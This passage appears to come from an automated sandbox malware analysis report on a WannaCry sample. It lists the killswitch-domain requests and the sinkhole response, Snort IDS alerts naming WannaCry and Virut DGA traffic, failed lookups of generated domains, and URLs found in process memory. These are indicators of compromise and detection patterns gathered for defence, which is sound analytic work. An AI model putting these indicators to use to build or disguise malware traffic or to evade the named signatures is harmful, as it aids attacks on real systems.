3e 54 68 69 73 20 64 6f 6d 61 69 6e 20 68 61 73 20 62 65 65 6e 20 73 69 6e 6b 68 6f 6c 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 2e 63 6f 6d 22 3e 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 61 3e 2e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html lang="en-us" class="no-js"><head><meta charset="utf-8"><title>Sinkholed by Kryptos Logic</title><meta name="description" content="Kryptos Logic Sinkhole"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link href="//static.kryptoslogicsinkhole.com/style.css" rel="stylesheet" type="text/css"/></head><body class="flat"><div class="content"><div class="content-box"><div class="big-content"><div class="clear"></div></div><h1>Sinkholed!</h1><p>This domain has been sinkholed by <a href="https://www.kryptoslogic.com">Kryptos Logic</a>.</p></div></div></body></html>
              Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Jul 2022 20:54:21 GMTContent-Type: text/htmlContent-Length: 607Connection: closeServer: cloudflareCF-RAY: 72de9771da07904f-FRAData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 53 69 6e 6b 68 6f 6c 65 64 20 62 79 20 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 20 53 69 6e 6b 68 6f 6c 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 73 74 61 74 69 63 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 73 69 6e 6b 68 6f 6c 65 2e 63 6f 6d 2f 73 74 79 6c 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 66 6c 61 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 62 6f 78 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 69 67 2d 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 65 61 72 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 68 31 3e 53 69 6e 6b 68 6f 6c 65 64 21 3c 2f 68 31 3e 3c 70 3e 54 68 69 73 20 64 6f 6d 61 69 6e 20 68 61 73 20 62 65 65 6e 20 73 69 6e 6b 68 6f 6c 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 2e 63 6f 6d 22 3e 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 61 3e 2e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html lang="en-us" class="no-js"><head><meta charset="utf-8"><title>Sinkholed by Kryptos Logic</title><meta name="description" content="Kryptos Logic Sinkhole"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link href="//static.kryptoslogicsinkhole.com/style.css" rel="stylesheet" type="text/css"/></head><body class="flat"><div class="content"><div class="content-box"><div class="big-content"><div class="clear"></div></div><h1>Sinkholed!</h1><p>This domain has been sinkholed by <a href="https://www.kryptoslogic.com">Kryptos Logic</a>.</p></div></div></body></html>
              Snort IDS alert for network traffic
              Source: TrafficSnort IDS: 2024291 ET TROJAN Possible WannaCry DNS Lookup 1 192.168.2.4:60506 -> 8.8.8.8:53
              Source: TrafficSnort IDS: 2024298 ET TROJAN W32/WannaCry.Ransomware Killswitch Domain HTTP Request 1 192.168.2.4:49760 -> 104.17.244.81:80
              Source: TrafficSnort IDS: 2031515 ET TROJAN Known Sinkhole Response Kryptos Logic 104.17.244.81:80 -> 192.168.2.4:49760
              Source: TrafficSnort IDS: 2024291 ET TROJAN Possible WannaCry DNS Lookup 1 192.168.2.4:60418 -> 8.8.8.8:53
              Source: TrafficSnort IDS: 2024298 ET TROJAN W32/WannaCry.Ransomware Killswitch Domain HTTP Request 1 192.168.2.4:49859 -> 104.17.244.81:80
              Source: TrafficSnort IDS: 2031515 ET TROJAN Known Sinkhole Response Kryptos Logic 104.17.244.81:80 -> 192.168.2.4:49859
              Source: TrafficSnort IDS: 2811577 ETPRO TROJAN Possible Virut DGA NXDOMAIN Responses (com) 8.8.8.8:53 -> 192.168.2.4:53916
              Source: TrafficSnort IDS: 2037771 ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst 35.205.61.67:80 -> 192.168.2.4:49863
              Tries to resolve many domain names, but no domain seems valid
              Source: unknownDNS traffic detected: query: qhavei.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ymgvpp.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: vyesfi.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: iewhax.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ueaxuo.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: upcegg.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: jodiqj.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: vovylb.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ioinfd.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: iiobey.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: eyidty.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: tuq.xitr.ru replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: aiafye.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: qzhktg.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: uveioi.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: fahjbc.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: xkdmwi.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: abbjil.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: vhxnzg.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: cpfjlk.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: utmlce.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: jpnbeq.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: bcpzeb.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ytzhaa.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ilnoug.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ocskue.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: tghitr.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: wmqszx.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: jiakym.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: utuuex.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: fvwrzm.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: lfonvv.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: poxwrh.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: vakrwa.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: shkwer.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: djbsdx.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: dmyskn.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: tlioza.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: lbtouf.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: aiozxr.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: jijqtj.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: hnwujs.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: pejokh.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: yireem.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: limeek.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: anwttj.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: xykdhi.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: egynaa.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: rfejzp.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ogzeam.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: cuofey.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: viayig.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: uaksyq.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ozzzcr.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: rheokd.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ahymni.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: bifbdw.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: advhuy.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: uiyaia.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: fiuoch.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: xbarni.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: crdmaw.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: qriryk.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: oumuoo.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: lncpiv.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: eymqdf.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: yzedil.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: jabhdl.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: viizdw.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: xligmg.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: craojp.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: cjjqgb.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: esouvn.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: glduft.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: eionrz.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: uexelw.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: yridyu.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: dmeayc.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: chiqnq.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ygarij.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: eesoga.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: meixcw.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ejrzqi.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: nvmeau.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: kbpdku.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: luoiev.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: vfkvbk.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: bjeaou.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: upgxkm.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: yhhjoi.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: jfxozc.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: holceg.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: ipuyoi.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: llulaz.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: kuyuii.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: behliz.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: yatzxk.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: prjgtu.com replaycode: Name error (3)
              Source: unknownDNS traffic detected: query: uxzarv.com replaycode: Name error (3)
              Source: Joe Sandbox ViewASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comCache-Control: no-cache
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comCache-Control: no-cache
              Source: Joe Sandbox ViewIP Address: 104.17.244.81 104.17.244.81
              Source: svchost.exe, 00000022.00000000.369771941.00000247D1CC3000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000022.00000002.789224611.00000247D1CC3000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: @http://www.facebook.com equals www.facebook.com (Facebook)
              Source: svchost.exe, 00000028.00000002.810337791.0000024ADF5BC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://Passport.NET/tb
              Source: lsass.exe, 0000000A.00000000.271689467.00000240B2CBD000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.797221968.00000240B2CC7000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/
              Source: lsass.exe, 0000000A.00000000.271689467.00000240B2CBD000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.797098694.00000240B2CBE000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
              Source: lsass.exe, 0000000A.00000000.271689467.00000240B2CBD000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.271040242.00000240B2C23000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.797098694.00000240B2CBE000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.279999662.00000240B2C23000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2SecureServerCA-2.crt0
              Source: svchost.exe, 00000010.00000000.293577567.0000025CB59A3000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.805096994.0000025CB59A3000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cdn.content.prod.cms.msn.com/singletile/summary/alias/experiencebyname/today?market=en-US&sou
              Source: lsass.exe, 0000000A.00000000.270864427.00000240B2C00000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.792065459.00000240B2C00000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001D.00000002.667978543.0000011CACC5E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
              Source: lsass.exe, 0000000A.00000002.788663859.00000240B2694000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.270622605.00000240B2694000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.279647384.00000240B2694000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl.pki.goog/gtsr1/gtsr1.crl0W
              Source: svchost.exe, 0000001D.00000002.667978543.0000011CACC5E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.ver)
              Source: lsass.exe, 0000000A.00000000.271689467.00000240B2CBD000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.797098694.00000240B2CBE000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
              Source: lsass.exe, 0000000A.00000000.271689467.00000240B2CBD000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.271040242.00000240B2C23000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.797098694.00000240B2CBE000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.279999662.00000240B2C23000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigicertSHA2SecureServerCA-1.crl0?
              Source: lsass.exe, 0000000A.00000000.271689467.00000240B2CBD000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.797098694.00000240B2CBE000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
              Source: lsass.exe, 0000000A.00000000.271689467.00000240B2CBD000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.797098694.00000240B2CBE000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
              Source: lsass.exe, 0000000A.00000000.271689467.00000240B2CBD000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.271040242.00000240B2C23000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.797098694.00000240B2CBE000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.279999662.00000240B2C23000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigicertSHA2SecureServerCA-1.crl0
              Source: lsass.exe, 0000000A.00000002.792778751.00000240B2C23000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.271040242.00000240B2C23000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.279999662.00000240B2C23000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
              Source: lsass.exe, 0000000A.00000000.270725503.00000240B26C1000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.279698403.00000240B26C1000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.789596877.00000240B26C1000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
              Source: lsass.exe, 0000000A.00000000.271689467.00000240B2CBD000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.797098694.00000240B2CBE000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0
              Source: lsass.exe, 0000000A.00000000.271689467.00000240B2CBD000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.797098694.00000240B2CBE000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0:
              Source: lsass.exe, 0000000A.00000000.271689467.00000240B2CBD000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.271040242.00000240B2C23000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.797098694.00000240B2CBE000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.279999662.00000240B2C23000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0H
              Source: lsass.exe, 0000000A.00000000.271689467.00000240B2CBD000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.279627797.00000240B2685000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.797098694.00000240B2CBE000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.270560900.00000240B2685000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.788192811.00000240B2685000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.msocsp.com0
              Source: lsass.exe, 0000000A.00000002.788663859.00000240B2694000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.270622605.00000240B2694000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.279647384.00000240B2694000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.pki.goog/gtsr100
              Source: lsass.exe, 0000000A.00000002.788663859.00000240B2694000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.270622605.00000240B2694000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.279647384.00000240B2694000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://pki.goog/repo/certs/gtsr1.der04
              Source: svchost.exe, 00000014.00000002.316685845.000001F6C2813000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.bingmapsportal.com
              Source: lsass.exe, 0000000A.00000000.271689467.00000240B2CBD000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.271040242.00000240B2C23000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.797098694.00000240B2CBE000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.279999662.00000240B2C23000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.digicert.com/CPS0~
              Source: svchost.exe, 00000022.00000000.369771941.00000247D1CC3000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000022.00000002.789224611.00000247D1CC3000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.google.com
              Source: mssecsvc.exe.2.drString found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
              Source: mssecsvc.exe, 00000004.00000002.552393970.000000000019C000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comJ
              Source: svchost.exe, 00000012.00000002.784847960.000001F93BC43000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000000.527463017.000001F93BC43000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://%s.dnet.xboxlive.com
              Source: svchost.exe, 00000012.00000002.784847960.000001F93BC43000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000000.527463017.000001F93BC43000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://%s.xboxlive.com
              Source: svchost.exe, 00000012.00000002.784847960.000001F93BC43000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000000.527463017.000001F93BC43000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://activity.windows.com
              Source: svchost.exe, 00000014.00000003.315776260.000001F6C2861000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
              Source: svchost.exe, 00000012.00000002.784847960.000001F93BC43000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000000.527463017.000001F93BC43000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://bn2.notify.windows.com/v2/register/xplatform/device
              Source: svchost.exe, 00000010.00000000.293577567.0000025CB59A3000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.805096994.0000025CB59A3000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.799993284.0000025CB5849000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000010.00000000.291314954.0000025CB5849000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.onenote.net/livetile/?Language=en-US
              Source: svchost.exe, 00000012.00000002.784847960.000001F93BC43000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000000.527463017.000001F93BC43000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://co4-df.notify.windows.com/v2/register/xplatform/device
              Source: svchost.exe, 00000014.00000003.315937802.000001F6C2859000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.317184653.000001F6C285A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
              Source: svchost.exe, 00000014.00000003.315937802.000001F6C2859000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.317184653.000001F6C285A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/
              Source: svchost.exe, 00000014.00000003.315776260.000001F6C2861000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
              Source: svchost.exe, 00000014.00000002.317108811.000001F6C283C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
              Source: svchost.exe, 00000014.00000003.315937802.000001F6C2859000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.317184653.000001F6C285A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Traffic/Incidents/
              Source: svchost.exe, 00000014.00000003.315776260.000001F6C2861000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
              Source: svchost.exe, 00000014.00000003.315849134.000001F6C2848000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.317155940.000001F6C284E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=
              Source: svchost.exe, 00000014.00000003.315937802.000001F6C2859000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.317184653.000001F6C285A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/
              Source: svchost.exe, 00000014.00000003.315776260.000001F6C2861000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
              Source: svchost.exe, 00000014.00000002.317108811.000001F6C283C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
              Source: svchost.exe, 00000014.00000003.315776260.000001F6C2861000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
              Source: svchost.exe, 00000014.00000003.315776260.000001F6C2861000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
              Source: svchost.exe, 00000014.00000003.315776260.000001F6C2861000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
              Source: svchost.exe, 00000014.00000003.316071142.000001F6C2841000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.317132351.000001F6C2842000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.315978066.000001F6C2840000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
              Source: svchost.exe, 00000014.00000003.316071142.000001F6C2841000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.317132351.000001F6C2842000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.315978066.000001F6C2840000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=
              Source: svchost.exe, 00000014.00000003.315776260.000001F6C2861000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
              Source: svchost.exe, 00000014.00000003.315901258.000001F6C285D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.315978066.000001F6C2840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.317224385.000001F6C285E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
              Source: svchost.exe, 00000014.00000003.315937802.000001F6C2859000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.317184653.000001F6C285A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
              Source: svchost.exe, 00000014.00000003.315901258.000001F6C285D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.317224385.000001F6C285E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
              Source: svchost.exe, 00000014.00000003.315901258.000001F6C285D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.317224385.000001F6C285E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
              Source: svchost.exe, 00000014.00000003.315702248.000001F6C2864000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://dynamic.t
